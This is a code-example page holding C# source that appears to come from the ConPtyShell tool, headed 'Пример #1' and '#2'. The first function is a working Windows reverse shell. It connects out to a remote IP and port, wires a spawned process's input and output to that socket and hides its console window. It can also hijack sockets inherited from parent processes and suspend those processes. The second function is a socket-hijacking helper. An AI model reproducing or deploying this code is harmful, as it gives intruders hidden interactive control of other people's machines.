Пример #1
0
    public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell)
    {
        IntPtr  shellSocket                = IntPtr.Zero;
        IntPtr  InputPipeRead              = IntPtr.Zero;
        IntPtr  InputPipeWrite             = IntPtr.Zero;
        IntPtr  OutputPipeRead             = IntPtr.Zero;
        IntPtr  OutputPipeWrite            = IntPtr.Zero;
        IntPtr  handlePseudoConsole        = IntPtr.Zero;
        IntPtr  oldStdIn                   = IntPtr.Zero;
        IntPtr  oldStdOut                  = IntPtr.Zero;
        IntPtr  oldStdErr                  = IntPtr.Zero;
        bool    newConsoleAllocated        = false;
        bool    parentSocketInherited      = false;
        bool    grandParentSocketInherited = false;
        bool    conptyCompatible           = false;
        string  output             = "";
        Process currentProcess     = null;
        Process parentProcess      = null;
        Process grandParentProcess = null;

        if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero)
        {
            conptyCompatible = true;
        }

        PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();

        CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
        InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr);

        if (conptyCompatible)
        {
            Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n");
            if (upgradeShell)
            {
                currentProcess     = Process.GetCurrentProcess();
                parentProcess      = ParentProcessUtilities.GetParentProcess(currentProcess.Handle);
                grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle);
                shellSocket        = SocketHijacking.GetSocketTargetProcess(currentProcess);
                if (shellSocket != IntPtr.Zero)
                {
                    shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess);
                    if (parentProcess != null)
                    {
                        parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess);
                    }
                }
                else
                {
                    shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess);
                }
                if (grandParentProcess != null)
                {
                    grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess);
                }
            }
            else
            {
                shellSocket = connectRemote(remoteIp, remotePort);
                if (shellSocket == IntPtr.Zero)
                {
                    output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
                    return(output);
                }
                TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
            }
            if (GetConsoleWindow() == IntPtr.Zero)
            {
                AllocConsole();
                ShowWindow(GetConsoleWindow(), SW_HIDE);
                newConsoleAllocated = true;
            }
            //Console.WriteLine("Creating pseudo console...");
            //return "";
            int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
            if (pseudoConsoleCreationResult != 0)
            {
                output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString());
                return(output);
            }
            childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine);
        }
        else
        {
            if (upgradeShell)
            {
                output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system");
                return(output);
            }
            shellSocket = connectRemote(remoteIp, remotePort);
            if (shellSocket == IntPtr.Zero)
            {
                output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
                return(output);
            }
            Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
            STARTUPINFO sInfo = new STARTUPINFO();
            sInfo.cb         = Marshal.SizeOf(sInfo);
            sInfo.dwFlags   |= (Int32)STARTF_USESTDHANDLES;
            sInfo.hStdInput  = InputPipeRead;
            sInfo.hStdOutput = OutputPipeWrite;
            sInfo.hStdError  = OutputPipeWrite;
            CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
        }

        // Note: We can close the handles to the PTY-end of the pipes here
        // because the handles are dup'ed into the ConHost and will be released
        // when the ConPTY is destroyed.
        if (InputPipeRead != IntPtr.Zero)
        {
            CloseHandle(InputPipeRead);
        }
        if (OutputPipeWrite != IntPtr.Zero)
        {
            CloseHandle(OutputPipeWrite);
        }
        //Threads have better performance than Tasks
        Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket);
        Thread thReadSocketWritePipe       = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess);

        if (upgradeShell && parentSocketInherited)
        {
            NtSuspendProcess(parentProcess.Handle);
        }
        if (upgradeShell && grandParentSocketInherited)
        {
            NtSuspendProcess(grandParentProcess.Handle);
        }
        WaitForSingleObject(childProcessInfo.hProcess, INFINITE);
        //cleanup everything
        if (upgradeShell && parentSocketInherited)
        {
            NtResumeProcess(parentProcess.Handle);
        }
        if (upgradeShell && grandParentSocketInherited)
        {
            NtResumeProcess(grandParentProcess.Handle);
        }
        thThreadReadPipeWriteSocket.Abort();
        thReadSocketWritePipe.Abort();
        closesocket(shellSocket);
        RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
        if (newConsoleAllocated)
        {
            FreeConsole();
        }
        CloseHandle(childProcessInfo.hThread);
        CloseHandle(childProcessInfo.hProcess);
        if (handlePseudoConsole != IntPtr.Zero)
        {
            ClosePseudoConsole(handlePseudoConsole);
        }
        if (InputPipeWrite != IntPtr.Zero)
        {
            CloseHandle(InputPipeWrite);
        }
        if (OutputPipeRead != IntPtr.Zero)
        {
            CloseHandle(OutputPipeRead);
        }
        output += "ConPtyShell kindly exited.\r\n";
        return(output);
    }
Пример #2
0
 private uint ThreadCheckDeadlock(uint threadParams)
 {
     SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0);
     this.deadlockDetected = false;
     return(0);
 }